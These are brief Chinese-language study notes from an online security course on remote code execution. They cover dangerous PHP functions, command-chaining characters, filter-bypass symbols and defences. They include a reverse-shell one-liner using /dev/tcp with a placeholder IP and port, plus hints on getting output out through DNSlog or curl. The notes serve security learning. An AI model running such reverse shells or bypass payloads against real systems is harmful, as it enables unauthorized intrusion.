课程:https://www.bilibili.com/video/BV1VA411u7Tg?p=11
rce漏洞
RCE全程Remote Code Execution远程代码执行
什么会导致rce
服务器上有木马
脆弱服务未授权
通过数据库写木马
文件上传/文件包含
危险函数(危险功能)
命令执行
反序列化
危险函数
eval
assert
system
shell_exec
exec
file_put_contents
命令执行
像操作 Windows 一样操作 Linux
基本操作:ls cat cd pwd rm mv mkdir grep apt-get
系统资源:top ps netstat
网络相关:ifconfig curl wget ping
命令拼接符:; && ||
其他读文件命令:cat tac xxd od nl
序列化与反序化
序列化用serialize()
,php的一个函数用于序列化对象或数组,并返回一个字符串,serialize()函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
反序列化用unserialize()
函数将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
rce限制绕过
限制原因可能是:
rce点存在黑名单过滤,例如Linux中的特殊符号:; && || | $() $[] < > $IFS
以及`
rce后发现命令执行但没有回显,这时就要用到反弹shellbash -i > /dev/tcp/ip/port 0>&1
或者通过访问DNSlog、写文件、使用curl等网络命令
rce后发现不可与外界进行网络连接,可以用写文件、命令盲注、隐蔽信道
防御
针对危险函数,应该在危险函数代码前写好黑名单过滤特殊符号,或使用 disable_function 等手段
针对命令注入,尽量不使用命令执行函数,如果必须使用则对用户输入部分加上引号,转义输入后再渲染
具体问题具体分析,永远不要相信用户的输入